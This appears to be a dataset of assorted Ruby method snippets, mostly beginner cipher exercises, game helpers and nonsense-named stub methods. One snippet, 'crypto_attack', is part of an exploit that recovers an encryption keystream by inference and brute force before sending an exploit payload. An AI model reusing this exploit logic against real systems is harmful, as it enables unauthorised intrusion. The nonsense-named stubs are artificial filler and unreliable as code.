pricklefish(overdraft, phleboplasty_poleaxe)\n end","def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_sign_hsh = Hash.new(0)\n van_sign_arr = vandalized_sign.split(\"\")\n normal_sign.each_char do |char| \n normal_sign_hsh[char.downcase] += 1\n end\n\n van_sign_arr.all? do |char| \n normal_sign_hsh.include?(char.downcase)\n end\nend","def bijective_encode\n \t# from http://refactormycode.com/codes/124-base-62-encoding\n \t# with only minor modification\n \t# return ALPHABET[0] if i == 0\n \t# s = ''\n \t# base = ALPHABET.length\n \t# while i > 0\n \t# \ts << ALPHABET[i.modulo(base)]\n \t# \ti /= base\n \t# end\n \t# s.reverse + SecureRandom.hex(5 - s.length)\n \tSecureRandom.hex(4)\n end","def silly_adjective; end","def salt() 'monkeynutzzSfaKT7CwImCHCH8Ow' end","def throw_fierce_lqqks\n 'Here I am, giving you Soviet-Satellite realness'\n end","def obfuscate(text); end","def sittinae_hooey(scrawny_appulsion, termly)\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end","def crypto_attack(exploit_string)\r\n getsin_msg = fetch_getsin\r\n if getsin_msg.nil?\r\n return nil\r\n end\r\n\r\n getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'\r\n keystream = get_keystream(getsin_msg, getsin_kp)\r\n\r\n if keystream.length < exploit_string.length\r\n missing_bytecount = exploit_string.length - keystream.length\r\n\r\n print_status(\"Missing #{missing_bytecount} bytes of keystream ...\")\r\n\r\n inferrence_segment = ''\r\n brute_max = 4\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Using inferrence attack ...\")\r\n\r\n # Offsets to monitor for changes\r\n target_offset_range = []\r\n for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)\r\n target_offset_range << i\r\n end\r\n\r\n # Store inference results\r\n inference_results = {}\r\n\r\n # As long as we haven't fully recovered all offsets through inference\r\n # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]\r\n getsin_observation = [''] * 4\r\n buffer_head = 0\r\n\r\n for i in 0..2\r\n getsin_observation[i] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n end\r\n\r\n buffer_tail = 3\r\n\r\n # Actual inference attack happens here\r\n while !target_offset_range.empty?\r\n getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n\r\n # We check if we spot a change within a position between two consecutive items within our circular buffer\r\n # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0\r\n target_offset_range.each do |x|\r\n index = buffer_head\r\n\r\n while index != buffer_tail do\r\n next_index = (index + 1) % 4\r\n\r\n # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same\r\n # observations as well while being constant in at least one previous or subsequent observation\r\n if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))\r\n target_offset_range.delete(x)\r\n inference_results[x] = xor_strings(getsin_observation[index][x], '9')\r\n break\r\n end\r\n index = next_index\r\n end\r\n end\r\n\r\n # Update circular buffer head & tail\r\n buffer_tail = (buffer_tail + 1) % 4\r\n # Move head to right once tail wraps around, discarding oldest item in circular buffer\r\n if buffer_tail == buffer_head\r\n buffer_head = (buffer_head + 1) % 4\r\n end\r\n end\r\n\r\n # Inferrence attack done, reconstruct final keystream segment\r\n inf_seg = [\"\\x00\"] * (keystream.length + missing_bytecount)\r\n inferrence_results.each do |x, val|\r\n inf_seg[x] = val\r\n end\r\n\r\n inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join\r\n missing_bytecount = brute_max\r\n end\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Improper keystream recovery ...\")\r\n return nil\r\n end\r\n\r\n print_status(\"Initiating brute force ...\")\r\n\r\n # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)\r\n charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\r\n char_range = missing_bytecount.times.map { charset }\r\n char_range.first.product(*char_range[1..-1]) do |x|\r\n p = x.join\r\n candidate_plaintext = getsin_kp + p\r\n candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment\r\n filedata = try_exploit(exploit_string, candidate_keystream, true)\r\n\r\n if !filedata.nil?\r\n return filedata\r\n end\r\n end\r\n return nil\r\n end\r\n\r\n try_exploit(exploit_string, keystream, false)\r\n end","def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\n unsuckled_catsup(apterygota, unfightable_phoneticist)\n end","def gluck_italian; end","def king_richard_iii_quote; end","def wookie_sentence; end","def nonstriker_perimartium(pronunciation_crotched)\n end","def generate_checkincode\n sai_words = %w(sisters chapter formal music business sigma alpha iota)\n sai_words[rand(sai_words.length)]+(rand(89)+10).to_s()\n end","def broad_sword\n # use regexp since .. is used for wildcard\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 F4 65 03 01 .. FF FF FF\n FF .. .. .. .. 23 19 01 0B 00 00 00 00 08 00 00\n 00 2A 00 00 00 00 00 00 00 02 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 87 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend","def war_sword # todo: check this matches when 5 are bought\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 02 66 03 01 .. FF FF FF\n FF .. .. .. .. 31 19 01 0B 01 00 00 00 10 00 00\n 00 4E 00 00 00 00 00 00 00 01 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 9F 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend","def sanitize text\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\n\n #római számok kiegészítés\n text = text.gsub(/\\W*(#{ROMAISZAMOK.keys.join('|')})\\.\\W*(\\w+)/) do \n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\n end\n \n #századok\n text = text.gsub(/(\\W*)(#{(1..21).to_a.join('|')})\\.\\W+század/) do\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\n end\n\n #törtek ( itt mind , mind . után jön egy számsorozat\n text = text.gsub(/(\\d+)[,.](\\d+)/) { $1 + ' egész,' + $2 + ' ' }\n\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\n text = text.gsub(/(\\W\\d+)\\s(\\d{3})/) { $1 + $2 }\n\n #idegesített az isbn\n text = text.gsub(/(ISBN)\\s*([0-9\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\n\n # ie isz kr e kr u\n text = text.gsub(/(i\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/i){ ' időszámításunk szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}u\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus után ' + $2 }\n text = text.gsub(/(i\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' időszámításunk előtt ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus előtt ' + $2 }\n\n # kis mértékegység hekk\n text = text.gsub(/\\Wkm\\/h\\W/,' km per óra ')\n text = text.gsub(/\\WkW\\W/,' kilo watt ')\n text = text.gsub(/\\Wkg\\W/i,' kilo gramm ')\n text = text.gsub(/(\\d+)\\W+m\\W/) { $1 + ' méter '}\n text = text.gsub(/°/,' fok')\n text = text.gsub(/[&]i/,' és ')\n # négyzet - sokszor előfordul földrajzban\n text = text.gsub(/km\\W{0,1}²/i){ ' négyzet km ' }\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\n text = text.gsub(/²/){ ' négyzet ' }\n text = text.gsub(/\\+\\/\\-/,' plussz minusz ')\n text = text.gsub(/×/,' szor ')\n\n # deokosvagyok rövidítésekbű\n text = text.gsub(/\\sstb\\.\\s/i, ' satöbbi ')\n text = text.gsub(/\\sun\\.\\s/i, ' úgy nevezett ')\n text\nend","def sharp; accidental; end","def biomagnetism_doughface_sissiness(avignonese_antrorsely)\n end","def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n end","def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end","def king_richard_iii; end","def can_tweak_sign?(normal_sign, vandalized_sign)\n no_prank = character_count(normal_sign)\n vandalized = character_count(vandalized_sign)\n\n vandalized.all? do |letter, count|\n no_prank[letter.downcase] >= count\n end\nend","def dr_evils_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\n decoded_sentence = []\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\",\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n\n input.each do |x| # What is #each doing here?\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\n cipher.each_key do |y| # What is #each_key doing here?\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\n decoded_sentence << cipher[y]\n found_match = true\n break # Why is it breaking here?\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing?\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do?\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match # What is this looking for?\n decoded_sentence << x\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n #What is this method returning?\nend","def make_syllable\n structure = self.structure.chars\n\n while true\n syll = ''\n structure.each do |ptype|\n # If the char is '?', skip with 50% chance to remove last character\n # (think RegEx usage of '?')\n if ptype == '?'\n if rand < 0.5\n syll = syll[0...syll.length - 1]\n end\n next\n end\n\n syll << choose(self.phonemes[ptype], self.exponent)\n end\n\n # Make sure this syllable doesn't violate a restriction\n bad = false\n self.restricts.each do |regex|\n if /#{regex}/ =~ syll\n bad = true\n break\n end\n end\n next if bad\n\n return spell(syll)\n end\n end","def sp\n\t\t# --Stallция Preφιcς--\n\t\ts = ['S', 'Z', 'C', 'S']\n\t\tt = ['t', 'zt', 'ct', 'st']\n\t\ta = ['a', 'å', 'ä', 'ą']\n\t\tl = ['l', 'll', 'л', 'лл', 'lъ', 'llъ', 'лъ', 'ллъ',]\n\t\tc = ['c', 'z', 's', 'c', 'z', 'ц']\n\t\ti = ['i', '', 'и']\n\t\tja = ['a', 'ja', 'ya', 'ia', 'иa','я', 'ѧ']\n\t\tpp = ['P', 'П', 'Ψ', 'Ξ']\n\t\tr = ['r', 'р']\n\t\te = ['e', 'ϵ', 'ε']\n\t\tfi = ['f', 'ff', 'ф', 'φ', 'ѳ', 'þ', 'ξ']\n\t\tjota = ['i', 'и', 'ι', 'ї', 'ј']\n\t\tis = ['s', 'z', 'c', 'σ', 'ς',\n\t\t\t\t'ss', 'sz', 'sσ', 'sς', 'zs', 'cs', 'σs',\n\t\t\t\t'zz', 'zc', 'zσ', 'zς', 'cz', 'σz',\n\t\t\t\t'cc', 'cσ', 'cς', 'sc', 'σc',\n\t\t\t\t'σσ', 'σς', 'ςς',\n\t\t\t\t'ssz', 'ssσ', 'ssς', 'zss', 'css', 'σss',\n\t\t\t\t'scz']\n\t\tsparray = [s, t, a, l, c, i, ja, [\"\\n\"], pp, r, e, fi, jota, is]\n\t\tcilibles = []\n\t\tfor i in sparray\n\t\t\tcilibles.push(i[rand(i.length)])\n\t\tend\n\t\t@spreffis = cilibles.join\n\t\t@spinitial = cilibles[0] + cilibles[8]\n\tend","def north_korean_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Turning every letter into a lower case letter and then splitting it into array\n decoded_sentence = []\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\", # An array would be beeter structure, we can automate the shiffting of the letters\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n\n input.each do |x| # iterating over each input character\n found_match = false #when false the same character will be added to the solution\n cipher.each_key do |y| # iterating thruthe keys of cipher hash\n if x == y #if current character is equal to a hash key\n # puts \"I am comparing x and y. X is #{x} and Y is #{y}.\"\n decoded_sentence << cipher[y]\n found_match = true\n break #it will end the loop once it finds its match\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #If it matach one of these characters it will add a space\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # turns a range into an array and then checks if that array includes the input\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match #If there is no match then add the character to the solution\n decoded_sentence << x\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n\n if decoded_sentence.match(/\\d+/) #Finding all the didgits\n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } #Replace and divide by 100\n end\n return decoded_sentence # it sreturning the string\nend","def can_tweak_sign?(normal_sign, vandalized_sign)\n normal_hash = character_count(normal_sign)\n vandal_hash = character_count(vandalized_sign)\n vandal_hash.each do |k, v|\n return false if normal_hash[k] < v\n end\n true\nend","def can_tweak_sign?(normal_sign, vandalized_sign)\nend","def dr_evils_cipher(coded_message)\n code = coded_message.downcase.split(/[@#$%&*]/)\n decoded_string = []\n cipher = (\"a\"..\"z\").to_a\n \n code.each do |word|\n decoded_word = \"\"\n word.split(//).each do |letter|\n if cipher.include?(letter)\n index = cipher.index(letter) - 4\n decoded_letter = cipher[index]\n decoded_word << decoded_letter\n else\n decoded_word << letter\n end\n end\n decoded_string << decoded_word\n end\n decoded_string.join(\" \")\nend","def whisper_family_secret\n puts \"shhh!\"\n end","def whisper_family_secret\n puts \"shhh!\"\n end","def can_tweak_sign?(normal_sign, vandalized_sign)\n str = normal_sign.delete \",.!?';\".downcase\n letters = character_count(str)\n vandalized_sign.each_char do |char|\n char = char.downcase\n return false if letters[char].nil? || letters[char].zero?\n\n letters[char] -= 1\n end\n true\nend","def catch_phrase\n [\n [\"Фирма1\", \"Суперфирма\", \"Фирма3\", \"ПанСамСклепав\"].rand,\n [\"24 часа\", \"24/7\", \"круглосуточно\", \"3 года на рынке\"].rand,\n [\"доступно\", \"быстро\", \"надежно\"].rand\n ].join(' ')\n end","def enchantment; end","def challenge; end","def smile\n\n oper = @message.split(\" \")[0]\n val1 = @message.split(\" \")[1].to_i\n val2 = @message.split(\" \")[2].to_i\n\n eyes = [\"O\",\"o\",\"^\",\"*\" ]\n mouths = [\"_\",\"__\",\".\" ]\n\n symmetry = rand(1) > 0\n\n lefteye = eyes.shuffle[0]\n righteye = lefteye\n if( !symmetry )\n righteye = eyes.shuffle[0]\n end\n\n text = lefteye + mouths.shuffle[0] + righteye\n\n return text\n\n end","def wookiee_sentence; end","def cryptic_dictionary(words)\nend","def can_tweak_sign?(normal_sign, vandalized_sign)\n dist_normal_sign = character_count(normal_sign)\n dist_vandalized_sign = character_count(vandalized_sign)\n dist_vandalized_sign.all?{ |ch, freq| freq <= dist_normal_sign[ch] }\nend","def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\n indefensibly_tencteri(scourwort)\n bambini_wolfishly(trolleyful_unimproving)\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\n end","def north_korean_cipher(coded_message)\n\tinput = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the ruby docs.\n\tdecoded_sentence = []\n\tcipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n\t\t\t\t\t\t\"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n\t\t\t\t\t\t\"g\" => \"c\", \n\t\t\t\t\t\t\"h\" => \"d\", \n\t\t\t\t\t\t\"i\" => \"e\", \n\t\t\t\t\t\t\"j\" => \"f\",\n\t\t\t\t\t\t\"k\" => \"g\",\n\t\t\t\t\t\t\"l\" => \"h\",\n\t\t\t\t\t\t\"m\" => \"i\",\n\t\t\t\t\t\t\"n\" => \"j\",\n\t\t\t\t\t\t\"o\" => \"k\",\n\t\t\t\t\t\t\"p\" => \"l\",\n\t\t\t\t\t\t\"q\" => \"m\",\n\t\t\t\t\t\t\"r\" => \"n\",\n\t\t\t\t\t\t\"s\" => \"o\",\n\t\t\t\t\t\t\"t\" => \"p\",\n\t\t\t\t\t\t\"u\" => \"q\",\n\t\t\t\t\t\t\"v\" => \"r\",\n\t\t\t\t\t\t\"w\" => \"s\",\n\t\t\t\t\t\t\"x\" => \"t\",\n\t\t\t\t\t\t\"y\" => \"u\",\n\t\t\t\t\t\t\"z\" => \"v\",\n\t\t\t\t\t\t\"a\" => \"w\",\n\t\t\t\t\t\t\"b\" => \"x\",\n\t\t\t\t\t\t\"c\" => \"y\",\n\t\t\t\t\t\t\"d\" => \"z\"}\n\t\n# This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n# the best data structure for this problem? What are the pros and cons of hashes?\n# \n# We automated this task with our own method that shifts letters automatically. It even allows you to\n# specify the amount the letters need to be shifted. This will output our needed hash, without having to\n# manually write every key/value pair.\n\n\tinput.each do |x| # iterate through each letter in the coded message (input is an array of all letters in order)\n\t\tfound_match = false # If found_match is set to true, the block code \"if not found_match\" will NEVER be executed\n\t\t\t\t\t\t\t\t\t\t\t\t # so the unmapped letter will not be added back to the decoded message\n\t\tcipher.each_key do |y| # iterate through each key in the hash table\n\t\t\tif x == y # compare the current letter in the coded message to the key in the hash table. If they are equals,\n\t\t\t\t\t\t\t\t # meaning the decoded letter is found, add the mapped value to the decoded message\n\t\t\t\tputs \"I am comparing x and y. X is #{x} and Y is #{y}.\"\n\t\t\t\tdecoded_sentence << cipher[y]\n\t\t\t\tfound_match = true\n\t\t\t\tbreak # Once the decoded letter is found, break out of the loop and go for the next letter in the input message\n\t\t\telsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" # If any of these symbols is\n\t\t\t\t# found in the coded message, it is equivalent to a space. These are all OR statements, so if any are found to\n\t\t\t\t# be true, it will run the block of code.\n\t\t\t\tdecoded_sentence << \" \"\n\t\t\t\tfound_match = true\n\t\t\t\tbreak\n\t\t\telsif (0..9).to_a.include?(x) # This puts all the numbers from 0 to 9 into an array and check if that array contains x\n\t\t\t\tdecoded_sentence << x\n\t\t\t\tfound_match = true\n\t\t\t\tbreak\n\t\t\tend \n\t\tend\n\t\tif not found_match # If some character not covered by any of the if statments is found in the coded message\n\t\t# that character is put into the decoded message\n\t\t\tdecoded_sentence << x\n\t\tend\n\tend\n\tdecoded_sentence = decoded_sentence.join(\"\")\n \n\tif decoded_sentence.match(/\\d+/) #Checks the decoded message for any numbers \n\t\tdecoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } # Replaces those numbers with a number divided by 100, because\n\t\t# he has been known to exaggerate about the amount of stuff he has\n\tend \n\treturn decoded_sentence # return the decoded message \nend","def gensecretword\r\n\t\t \trand_index = rand(@wordtable.length)\r\n\t\t \t@secret_clue = @descr[rand_index]\r\n\t\t \t@num_words = @wordtable[rand_index].split(\" \").length\r\n\t\t return @wordtable[rand_index].upcase\r\n\t\t end","def scoobydoo(villian, villians)\n letters = ('a'..'z').to_a\n numbers = (0..25).to_a\n letters_to_numbers = letters.zip(numbers).to_h\n numbers_to_letters = numbers.zip(letters).to_h\n\n villians_downcase = villians.map { |v| v.downcase.delete(' ') }\n villians_hash = (villians_downcase).zip(villians).to_h\n\n s = villian.reverse.chars.rotate(5)\n new = []\n (0...s.size).each do |i|\n if i.even?\n new[i] = s[i]\n else\n num = (letters_to_numbers.fetch(s[i]) + 5) % 26\n new[i] = numbers_to_letters.fetch(num)\n end\n end\n\n villians_hash.fetch(new.join)\n\nend","def generate_secret_word\n dictionary = File.open('5desk.txt', 'r').readlines\n legal_words = []\n\n dictionary.each do |line|\n word = line.chomp\n legal_words << word if legal_word?(word)\n end\n\n legal_words.sample\n end","def puf_syndrome\n \n end","def sic_code; end","def crypt(p0) end","def north_korean_cipher(coded_message)\n input = coded_message.downcase.split(\"\") \n \n decoded_sentence = [] \n cipher = {\"e\" => \"a\", \n \"f\" => \"b\",\n \"g\" => \"c\",\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n\n input.each do |x| # Starting a very long each method-saying for each value the rest\n # of the code is going to be executed.\n found_match = false # There would be no way to actually tell if a statement was true\n # unless the default is set to false.\n cipher.each_key do |y| # Taking each key from cipher & applying the rest of the code.\n if x == y # Comparing the key and the value. X is the value. Y is the key.\n puts \"I am comparing x and y. X is #{x} and Y is #{y}.\" # prints to console\n decoded_sentence << cipher[y] # << adds element to existing array, but here it seems\n # that it is working to apply the cipher keys to the # decoded sentence.\n found_match = true # Signals if match was found, ie x==y.\n break # It is breaking because x and y can be compared infinitely.\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\"\n # Checking if any values are symbols.\n decoded_sentence << \" \" # Is applying blank space where any symbol appears.\n found_match = true # Signals if match was found, ie x==symbol.\n break # It is breaking because x can be checked infinitely.\n elsif (0..9).to_a.include?(x) # It's checking to see if x is an integer.\n decoded_sentence << x # Adds x(value) where integers are found.\n found_match = true # Signals if match was found, ie x==integer.\n break # It is breaking because x can be checked infinitely.\n end # If/elsif loop ends.\n end # The each method on y is finally ending.\n if not found_match # If x(value) isn't == to y(key), a symbol, or integer then...\n decoded_sentence << x # Apply the value to the decoded sentence.\n end # If statement ends\n end # The each method on x is finally ending.\n decoded_sentence = decoded_sentence.join(\"\") # Joins the sentence back together after\n # splitting it in order to disect each element.\n if decoded_sentence.match(/\\d+/) #What is this matching? * \\d+/ means 1 or more digits\n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } # He's been known to exaggerate...\n end # This expands match- it subs\n # one or more digits for the block (basically # reducing every digit by a 1/100th)\n return decoded_sentence # Returns the answer sentence.\nend","def in_law; end","def suivre; end","def caesar_guesser(encrypted_string, alphabet)\r\n\r\nend","def tuc(arg)\n h = Hash.[](\".\"=>\"་\", \"/\"=>\"།\", \";\"=>\"༔\", \"\"=>\"\",\n \"ka\"=>\"ཀ\", \"kha\"=>\"ཁ\", \"ga\"=>\"ག\", \"nga\"=>\"ང\",\n \"ca\"=>\"ཅ\", \"cha\"=>\"ཆ\", \"ja\"=>\"ཇ\", \"nya\"=>\"ཉ\",\n \"ta\"=>\"ཏ\", \"tha\"=>\"ཐ\", \"da\"=>\"ད\", \"na\"=>\"ན\",\n \"pa\"=>\"པ\", \"pha\"=>\"ཕ\", \"ba\"=>\"བ\", \"ma\"=>\"མ\",\n \"tsa\"=>\"ཙ\", \"tsha\"=>\"ཚ\", \"dza\"=>\"ཛ\", \"wa\"=>\"ཝ\",\n \"zha\"=>\"ཞ\", \"za\"=>\"ཟ\", \"'a\"=>\"འ\", \"ya\"=>\"ཡ\",\n \"ra\"=>\"ར\", \"la\"=>\"ལ\", \"sha\"=>\"ཤ\", \"sa\"=>\"ས\",\n \"ha\"=>\"ཧ\", \"a\"=>\"ཨ\",\n # numbers !!! better include number_generator\n \"0\"=>\"༠\", \"1\"=>\"༡\", \"2\"=>\"༢\", \"3\"=>\"༣\",\n \"4\"=>\"༤\", \"5\"=>\"༥\", \"6\"=>\"༦\", \"7\"=>\"༧\",\n \"8\"=>\"༨\", \"9\"=>\"༩\",\n # vowel signs\n \".e\"=>\"ེ\", \".i\"=>\"ི\", \".o\"=>\"ོ\", \".u\"=>\"ུ\",\n # double vowel signs\n \"E\" => \"ཻ\", \"O\" => \"ཽ\",\n # subscribed characters\n \"x_ka\"=>\"ྐ\", \"x_kha\"=>\"ྑ\", \"x_ga\"=>\"ྒ\", \"x_nga\"=>\"ྔ\",\n \"x_ca\"=>\"ྕ\", \"x_cha\"=>\"ྖ\", \"x_ja\"=>\"ྗ\", \"x_nya\"=>\"ྙ\",\n \"x_ta\"=>\"ྟ\", \"x_tha\"=>\"ྐ\", \"x_da\"=>\"ྡ\", \"x_na\"=>\"ྣ\",\n \"x_pa\"=>\"ྤ\", \"x_pha\"=>\"ྥ\", \"x_ba\"=>\"ྦ\", \"x_ma\"=>\"ྨ\",\n \"x_tsa\"=>\"ྩ\", \"x_tsha\"=>\"ྪ\", \"x_dza\"=>\"ྫ\", \"x_wa\"=>\"ྭ\",\n \"x_zha\"=>\"ྮ\", \"x_za\"=>\"ྯ\", \"x_'a\"=>\"ཱ\", \"x_ya\"=>\"ྱ\",\n \"x_ra\"=>\"ྲ\", \"x_la\"=>\"ླ\", \"x_sha\"=>\"ྴ\", \"x_sa\"=>\"ྶ\",\n \"x_ha\"=>\"ྷ\", \"x_a\"=>\"ྸ\",\n # superscribed character\n \"ra_x\"=>\"ར\",\n # revered letters\n \"Ta\"=>\"ཊ\", \"Tha\" => \"ཋ\", \"Da\" => \"ཌ\", \"Na\" => \"ཎ\",\n \"Sha\" => \"ཥ\")\n\n result = h[arg]\n if result != nil\n erg = result\n else\n erg = \"\"\n end\n return erg\n end","def picky_procipher(sen, hash)\n splitted = sen.split(\" \")\n splitted.each_with_index do |word, i|\n hash.each do |k,v|\n if k.call(word)\n splitted[i] = v.call(word)\n break\n end\n end\n end\n splitted.join(\" \")\nend","def north_korean_cipher(coded_message) # \n input = coded_message.downcase.split(\"\") #Takes input, downcases it, and splits each individual element into an element of an array\n decoded_sentence = [] # creates an empty array called decoded_sentence \n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\", # Pros: This allows a direct translation for each key\n \"h\" => \"d\", # Cons: It's really long and inefficient \n \"i\" => \"e\", \n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\", \n \"m\" => \"i\",\n \"n\" => \"j\", \n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => 